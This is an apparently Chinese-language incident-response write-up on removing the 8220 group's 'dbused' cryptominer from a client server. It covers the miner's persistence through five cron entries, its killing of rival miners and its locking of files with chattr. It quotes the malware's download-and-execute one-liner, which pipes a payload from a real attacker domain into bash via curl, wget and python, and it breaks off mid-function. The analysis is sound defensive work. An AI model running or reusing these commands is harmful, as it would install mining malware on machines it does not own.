本文主要是记录了一次针对挖矿程序的应急响应处理,从三个部分来解读此次事件:
事件描述部分,确认是否有挖矿程序。
现场分析部分,讲了是如何一步一步杀掉挖矿程序。
程序分析部分,针对挖矿脚本的详细解读。杀死竞争挖矿程序、进程守护、传播挖矿。
0x01疑惑的用户
前几天接到客户反映,他们有一台服务器资产存在异常现象,原本配置的crontab定时任务全被修改,用户8220miner组织、miner木马病毒、xms、失陷下载的标签。
与客户确认该定时任务是可疑的之后,又用top查看了系统资源,发现了一个程序名称为“dbused”的可疑进程,长时间的cpu资源占用达到了100以上。
利用可疑的进程PID,从/proc/[PID]目录下的exe文件定位到源文件来自于/tmp目录下的dbused。
将可疑文件扔到VT进行检测,发现极可能与“CoinMiner”挖矿木马相关。
看来这次攻击八九不离十就是挖矿木马相关的攻击了,定时程序应该就是用来下载挖矿程序的,只要先把定时程序删除,再删除恶意程序就行了,于是一一删除之,应该就可以交代了。
想法很美好,现实却很残忍。几秒后,发现恶意进程和定时任务全部恢复了,一朝回到解放前,看来是把问题想得太简单了。
0x03研究员的反击
研究员开始痛定思痛,其实在第一次分析的时候还忽略了几个关键的线索:
用户反映crontab会被自动刷新(说明存在维持进程)
未查看系统可疑进程
未分析下载的内容
于是乎,ps-ef查看系统进程,发现存在五个以上的恶意下载进程,和之前发现的定时任务一模一样,确实存在多个维持进程。
curl-fsSLhttp://a.oracleservice.top/xms||wget-q-O-http://a.oracleservice.top/xms||python-c"importurllib2asfbi;printfbi.urlopen("http://a.oracleservice.top/xms").read")|bash-sh;lwp-downloadhttp://a.oracleservice.top/xms/xms;bash/xms;/xms;rm-rf/xms
突破口都指向下载的可疑文件,下载进行分析,分析发现是一个结合资源准备、同类竞争、进程维持、横向扩散、痕迹清除的脚本。
Step1:最大化这个进程的使用资源
1.脚本先将系统的selinux防火墙设置为关闭。
2.脚本将用户最大可用的进程数调整到5万,便于最大化占用主机资源。
3.修改内存参数,目的也是最大化占用主机资源。
Step2:删除竞争进程
这里目的是为了关闭一些进程,这里的关闭进程的行为,目的是为了杀掉其他的一些挖矿进程,只允许自己的程序挖矿。
查看列出杀死的连接IP情报,基本都是与挖矿或木马相关。
Step3:删除文件的特殊属性使得文件可以被修改操作
chattr命令mod解释
i:即Immutable,系统不允许对这个文件进行任何的修改。如果目录具有这个属性,那么任何的进程只能修改目录之下的文件,不允许建立和删除文件。
a:即AppendOnly,系统只允许在这个文件之后追加数据,不允许任何进程覆盖或截断这个文件。如果目录具有这个属性,系统将只允许在这个目录下建立和修改文件,而不允许删除任何文件。
最后将定时任务,进行了类似锁定操作。
Step4:确保连通性
先解除/tmp/dbused目录下面的锁定。
确定本机ip地址的范围(16位掩码)。
确保主机能与恶意负载域名pool.supportxmr.com、a.oracleservice.top连通。
Step5:创建定时任务
一共创建了5个cron维持进程。
/etc/cron.d/root
/etc/cron.d/apache
/etc/cron.d/nginx
/var/spool/cron/crontabs
/etc/cron.hourly/oanacroner1
Step6:维持进程1
即确保dbused这个文件能正常运行。写了几个备用的函数,judge函数就是,如果dbused文件正常运行了,那么就会存在三个连接,如果没有正常运行,那么就重新运行一下dbused文件。
Step7:维持进程2
cronbackup函数为了确保定时任务的正常运行,一旦其中一个定时任务被删除,就会执行另一个定时任务。
cronbackup{
pay="(curl-fsSL$url/xms||wget-q-O-$url/xms||python-c"importurllib2asfbi;printfbi.urlopen(\"$url/xms\").read")|bash